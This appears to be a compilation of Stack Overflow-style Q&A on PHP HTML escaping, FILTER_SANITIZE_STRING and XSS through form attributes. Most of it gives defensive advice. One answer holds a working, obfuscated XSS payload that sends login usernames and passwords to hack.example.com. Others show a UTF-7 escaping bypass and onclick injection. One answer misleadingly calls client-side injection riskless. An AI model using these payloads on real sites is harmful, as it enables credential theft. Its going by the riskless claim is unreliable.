I have a PHP code as shown below in which on POST call, I am getting encrypted value instead of the character. For example, on entering Hello World' I get this Hello World' instead of Hello World' on console (from Line Z).
In the form_validator.php, I am using the following:
if (isset($_POST["response"]))
$response = $_POST["response"];
print_r($response);
In the form.php, I have the following code:
<form id="acbdef" name="abcdef" action="#" method="post">
<table width="100%" class="wb-tables table">
<tr>
<td>
<?php echo SECRET_RESPONSE;?>:
</td>
<td colspan="2"><input type="text" id="response" name="response" value="" /></td>
</tr>
</table>
</form>
<script>
// Test all the fields in another php page using javax and receive the result by JSON
$("#save").click(function () {
$.post('form_validator.php', $("#abcdef").serialize(), function (data) {
console.log(data); // Line Z
});// end function(data)
});
</script>
In the config.php, I have the following:
$_GET = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING);
$_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
$_REQUEST = (array) $_POST + (array) $_GET + (array) $_REQUEST;
Problem Statement :
I am wondering what changes I need to make in the php code above so that it takes the character itself instead of HTML coded apostrophe.
The problem is in your config.php where you have the following line:
$_POST = filter_input_array(INPUT_POST, FILTER_SANITIZE_STRING);
This will HTML-encode single and double quotes in the input, as defined in chapter Sanitize filters:
FILTER_SANITIZE_STRING
Strip tags and HTML-encode double and single quotes, optionally strip or encode special characters. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. (Deprecated as of PHP 8.1.0, use htmlspecialchars() instead.)
If you don't want to convert any single or double quotes in their respective HTML-encoded strings, then use the flag FILTER_FLAG_NO_ENCODE_QUOTES or don't use the FILTER_SANITIZE_STRING filter (it is deprecated anyway).
#Progman's answer is how to fix your issue with configuration, and covers which argument flags you might want to use.
I wanted to ensure the why was better understood.
Your string is technically not encrypted, rather it has been encoded, it has been transformed to an HTML "safe" equivalent -- using HTML character entities. You can read more about that here https://developer.mozilla.org/en-US/docs/Glossary/Entity
But essentially, the ' has been converted to an HTML entity code '. The idea being, it has become safe to embed in an HTML document, without it itself being interpreted as HTML, but as simply text.
It's a very simular concept to escaping strings, only specificly for HTML documents and Web Browsers.
All HTML entities can be represented as there literals or their entity codes. In this case ' can be written literally as ' or as '.
Most scripting languages have functions to perform these conversions for you. Such as PHP's html_entity_decode and htmlentities functions.
--
PHP Frameworks. Some frameworks will hook into your $_GLOBALS very early on, as the request is first recieved, and perform basic Sanitization on your request data. If you are using such a framework, perhaps that would explain where the initial encoding is being performed.
The basic idea here, is perhaps, since such conversions are generally needed anyways, for reuse of the request information, why not ensure it is normalized early on, and perhaps stored in any database in such a manner to remain HTML "safe".
You seems to be serializing the input. In jquery before you send it to your php. You will need to decode it before you print it.
Check out https://www.php.net/manual/en/function.html-entity-decode as a place to start
Related
I am developing an application and I am reading up on implementing security measures. I set up a class to automatically generate form elements and the class embeds php string variables within html to create the fields. I noticed, however, that htmlspecialchars() was not necessary as I went to implement it. So I am attempting to pseudo-maliciously turn this:
<input type="text" name="email">... rest of html
into:
<input type="text" name="email"><br><br>
However, both before and after using htmlspecialchars(), my browser gives me this when I try to edit the frontend html:
<input type="text" name="email"><br><br>
Is this just something that is automatically implemented? If so, is this from a PHP update (I thought I found something about it being an update in PHP 5.4)?
Furthermore, Can I abandon using htmlspecialchars()?
Thank you!
EDIT: More information requested
$this->type = 'text' //what I would normally use
$this->type = 'text" name="name"><br><br>' //my attempt to manipulate the html
$output = "<input type='$this->type' name='$this->name'";
$output .= ... close the tag, etc.
echo $output;
The use of htmlspecialchars is required whenever you take some text and insert it into some HTML as a string (unless you know that the text won't contain any characters with special meaning in HTML, but even then using htmlspecialchars is a good habit to be in).
I can't explain why your unspecified input, when run through your unspecified code and then run through a browser's parser (with error recovery features), gives you that output.
After the question was updated:
$this->type = 'text" name="name"><br><br>' //my attempt to manipulate the html
$output = "<input type='$this->type' name='$this->name'";
Your attribute value is delimited with ' characters. Your data doesn't contain any ' characters, so it isn't going to terminate the attribute value and escape.
Try this manipulation:
$this->type = 'text\' name="name"><br><br>' //my attempt to manipulate the html
It should break your HTML, because the delimiters for your attribute value are single quotes, and now they appear in your attribute text as well.
And please make sure not to use any sophisticated DOM inspectors like firebug, but to look at the pure source code that is emitted by your server.
So, I have a basic little script that takes input from an HTML form, is processes by PHP and then writes it to a text file in the form of CSS. I've already got some jerkwad trying to drop tables on the server (There is no SQL but I'd like to keep people from trying none the less) Here is the code that I have thus far, can someone help me block potentially bad input via htmlentities or something else?
The HTML Form
<html><body>
<h4>Codes Form</h4>
<form action="codes.php" method="post">
Username: <input name="Username" type="text" />
Usercode: <input name="Usercode" type="text" />
<input type="submit" value="Post It!" />
</form>
</body></html>
The PHP
<html><body>
<?php
$Friendcode = $_POST['Usercode'];
$Username = $_POST['Username'];
echo "You have recorded the following information on the server ". $Username . " " . $Usercode . ".<br />"; echo "Thanks for contributing!";
$output = ".author[href\$=\"$Username\"]:after { \n"
."content: \" ($Usercode)\" !important\n"
."}";
}
$fp = fopen('file.txt', 'a');
fwrite($fp, $output);
fwrite($fp, "\n");
fclose($fp);
?>
</body></html>
You can use htmlentities to convert html tags to their html equiv. < etc. Or you can use strp_tags to get rid of all html tags. If you are using sql use mysql_real_escape_string to make sql queries safer
Whenever you include data entered by the user in HTML code, it is always a good idea to first encode the data, by passing it into htmlspecialchars().
Think of it as a decontamination chamber. This will ensure that any of the HTML special chacters, such as "<" and ">" (deadly viruses) are properly escaped (killed) and won't show up in your page as "real" HTML tags (won't make your webpage sick).
Similarly, you must also encode user input when including it in SQL queries. The function that you use for this purpose varies depending on the database that you are using. Because of the dynamic nature of PHP, if you are a including numeric value in a SQL query, you must first check to make sure the variable contains a number by using functions such as is_numeric() and ctype_digit().
I think the best way to block HTML is to allow only the characters you think a username or a user code may have.
For example, limit the input to letters, numbers and underscores and trim the whitespaces in the beginning and the end of the string. This validation will fail whenever HTML code is provided as input.
I would suggest doing this on both client and server side, with a regex. A client-side example can be found here: jQuery remove all HTML tags EXCEPT Anchors
What happen if someone directly type the url of code.php in browser. They will get the Notice of undefined offset.
You should make at least a check if $_POST is not empty.
if(isset($_POST['submit']) && !empty($_POST))
{
//do operation
}
Validate the user name and user code for special characters and what you allow them to enter with PHP sever side
#Zer0mod: I'd use strip_tags to get rid of HTML and mysql_real_escape_string to take care of any potential SQL injections.
Use PHP to convert every symbol to HTML numbers! Head on over to htmlentities() for details about doing so.
I need to be able to generate an effectively unlimited number of datasets, so what I want to do is something like this;
<input type="hidden" name="items[]" value="{id:1,name:'some-name'}" />
I tried JSON.stringify to convert my array in javascript and store it in the current hidden input element, but it wraps all the keys and values in double quotes, which obviously conflicts with HTML wrapping the entire value in double quotes. Somehow I need to escape the quotes, but I need this to work two ways...basically these elements are generated with PHP and placed in the page in order, then I can add or delete items on the user end and submit the page, which should have PHP iterating through these hidden elements and updating the records.
Anyone have any suggestions on an escaping method of some sort?
You can use escaping function presented here: http://phpjs.org/functions/htmlspecialchars:426
It should escape chars in json and make your string safe to use as value of html attribute.
If you want to do the escaping on PHP then you should use function htmlspecialchars() that is built in PHP.
What you want to do is grasp some of html5 data-* attrubites so you can dod
<div id="post-container" data-meta="{id:22,name:'Robert Pitt'}">
..
</div>
Then you can use htmlentites() to make the string safe and use javascript, you can get the data with javascript like so:
function ElementJson(id,attrib)
{
var post_c = document.getElementById(id);
for( var x = 0; x < post_c.attributes.length; x++)
{
if( post_c.attributes[x].nodeName.toLowerCase() == 'data-' + attrib.toLowerCase())
{
return post_c.attributes[x].nodeValue;
}
}
return false;
}
json = ElementJson('post-container','meta');
Via jQuery for instance you can do
json = $('#post-container[data-meta]').attr('data-meta');
A lot of large sites use it especially Facebook
base64_encode the data or run it through htmlentities() to turn the quotes in to entities :)
To be honest, if you are setting the value in javascript in the page then I am a little surprised that you ran into problems but here are a couple of suggestions: -
Of course the proper thing to do is HTML encode the data in the html attributes - but this requires calling htmlentities or similar so instead, why not URL encode the data using the "built in" javascript encode and decode and methods. URL encoding should escape double quotes to '%22'.
Or if you are already using jQuery, use the val() method to set (and get?) the value - I am sure that would deal with these issues for you (although I have not gone and actually checked this).
Let's say we have this form, and the possible part for a user to inject malicious code is this below
...
<input type=text name=username value=
<?php echo htmlspecialchars($_POST['username']); ?>>
...
We can't simply put a tag, or a javascript:alert(); call, because value will be interpreted as a string, and htmlspecialchars filters out the <,>,',", so We can't close off the value with quotations.
We can use String.fromCode(.....) to get around the quotes, but I still unable to get a simple alert box to pop up.
Any ideas?
Also, it's important to mention that allowing people to inject HTML or JavaScript into your page (and not your datasource) carries no inherent security risk itself. There already exist browser extensions that allow you to modify the DOM and scripts on web pages, but since it's only client-side, they're the only ones that will know.
Where XSS becomes a problem is when people a) use it to bypass client-side validation or input filtering or b) when people use it to manipulate input fields (for example, changing the values of OPTION tags in an ACL to grant them permissions they shouldn't have). The ONLY way to prevent against these attacks is to sanitize and validate input on the server-side instead of, or in addition to, client-side validation.
For sanitizing HTML out of input, htmlspecialchars is perfectly adequate unless you WANT to allow certain tags, in which case you can use a library like HTMLPurifier. If you're placing user input in HREF, ONCLICK, or any attribute that allows scripting, you're just asking for trouble.
EDIT: Looking at your code, it looks like you aren't quoting your attributes! That's pretty silly. If someone put their username as:
john onclick="alert('hacking your megabits!1')"
Then your script would parse as:
<input type=text name=username value=john onclick="alert('hacking your megabits!1')">
ALWAYS use quotes around attributes. Even if they aren't user-inputted, it's a good habit to get into.
<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">
There's one way. You aren't passing htmlspecialchars() the third encoding parameter or checking encoding correctly, so:
$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';
Only works if you can a) set the page to output UTF-7 or b) trick the page into doing so (e.g. iframe on a page without a clear charset set). The solution is to ensure all input is of the correct encoding, and that the expected encoding is correctly set on htmlspecialchars().
How it works? In UTF-7, <>" chars have different code points than UTF-8/ISO/ASCII so they are not escaped unless convert the output to UTF-8 for assurance (see iconv extension).
value is a normal HTML attribute, and has nothing to do with Javascript.
Therefore, String.fromCharCode is interpreted as a literal value, and is not executed.
In order to inject script, you first need to force the parser to close the attribute, which will be difficult to do without >'".
You forgot to put quotes around the attribute value, so all you need is a space.
Even if you do quote the value, it may still be vulnerable; see this page.
Somewhat similar to Daniel's answer, but breaking out of the value= by first setting a dummy value, then adding whitespace to put in the script which runs directly by a trick with autofocus, setting the input field blank and then adds a submit function which runs when the form is submitted, leaking the username and password to an url of my choice, creating strings from the string prototype without quotation (because quotations would be sanitized):
<body>
<script type="text/javascript">
function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}
redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>
You cannt exploit that input field which contain that func but you can exploit any btn or paragraph or heading or text near it by:
like you can add this on btn -> onclick=alert('Hello')
I want to display on screen data send by the user,
remembering it can contain dangerous code, it is the best to clean this data with html entities.
Is there a better way to do html entities, besides this:
$name = clean($name, 40);
$email = clean($email, 40);
$comment = clean($comment, 40);
and this:
$data = array("name", "email," "comment")
function confHtmlEnt($data)
{
return htmlentities($data, ENT_QUOTES, 'UTF-8');
}
$cleanPost = array_map('confHtmlEnt', $_POST);
if so, how, and how does my wannabe structure
for html entities look?
Thank you for not flaming the newb :-).
"Clean POST", the only problem is you might not know in what context will your data appear. I have a Chat server now that works via browser client and a desktop client and both need data in a different way. So make sure you save the data as "raw" as possible into the DB and then worry about filtering it on output.
Do not encode everything in $_POST/$_GET. HTML-escaping is an output-encoding issue, not an input-checking one.
Call htmlentities (or, usually better, htmlspecialchars) only at the point where you're taking some plain text and concatenating or echoing it into an HTML page. That applies whether the text you are using comes from a submitted parameter, or from the database, or somewhere else completely. Call mysql_real_escape_string only at the point you insert plain text into an SQL string literal.
It's tempting to shove all that escaping stuff in its own box at the top of the script and then forget about it. But text preparation really doesn't work like that, and if you pretend it does you'll find your database irreparably full of double-encoded crud, backslashes on your HTML page and security holes you didn't spot because you were taking data from a source other than the (encoded) parameters.
You can make the burden of remembering to mysql_real_escape_string go away by using mysqli's parameterised queries or another higher-level data access layer. You can make the burden of typing htmlspecialchars every time less bothersome by defining a shorter-named function for it, eg.:
<?php
function h($s) {
echo(htmlspecialchars($s, ENT_QUOTES));
}
?>
<h1> Blah blah </h1>
<p>
Blah blah <?php h($title); ?> blah.
</p>
or using a different templating engine that encodes HTML by default.
If you wish to convert the five special HTML characters to their equivalent entities, use the following method:
function filter_HTML($mixed)
{
return is_array($mixed)
? array_map('filter_HTML',$mixed)
: htmlspecialchars($mixed,ENT_QUOTES);
}
That would work for both UTF-8 or single-byte encoded string.
But if the string is UTF-8 encoded, make sure to filter out any invalid characters sequence, prior to using the filter_HTML() function:
function make_valid_UTF8($str)
{
return iconv('UTF-8','UTF-8//IGNORE',$str)
}
Also see: http://www.phpwact.org/php/i18n/charsets#character_sets_character_encoding_issues
You need to clean every element bevor displaying it. I do it usually with a function and an array like your secound example.
If you use a framework with a template engine, there is quite likely a possibility to auto-encode strings. Apart from that, what's simpler than calling a function and getting the entity-"encoded" string back?
Check out the filter libraries in php, in particular filter_input_array.
filter_input_array(INPUT_POST, FILTER_SANITIZE_SPECIAL_CHARS);